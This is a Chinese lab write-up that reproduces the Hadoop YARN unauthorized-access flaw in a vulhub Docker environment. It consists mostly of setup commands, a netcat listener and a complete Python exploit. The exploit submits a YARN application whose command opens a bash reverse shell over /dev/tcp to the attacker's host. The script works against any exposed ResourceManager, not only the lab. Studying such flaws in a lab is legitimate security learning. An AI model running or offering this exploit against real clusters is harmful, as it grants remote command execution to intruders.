hadoop未授权访问漏洞复现

有一说一复现这玩意儿单纯只是想在hadoop开课前学会日hadoop,哦我这该死的强迫症(doge)

环境vulhub摆烂

cd vulhub/hadoop/unauthorized-yarn进入目录

docker-compose up -d开启环境

image-20221020210037144

浏览器访问http://127.0.0.1:8088(环境默认映射到8088端口,也可以在docker-compose.yml里改)

image-20221020211738316

确认环境正常后,kali开启监听nc -lvp 9999

然后就可以上exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

成功反弹shell

image-20221020212402645

下附漏洞原理

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

有兴趣的大佬可以去了解一下漏洞原理,这玩意儿全英文看的我头皮发麻。。。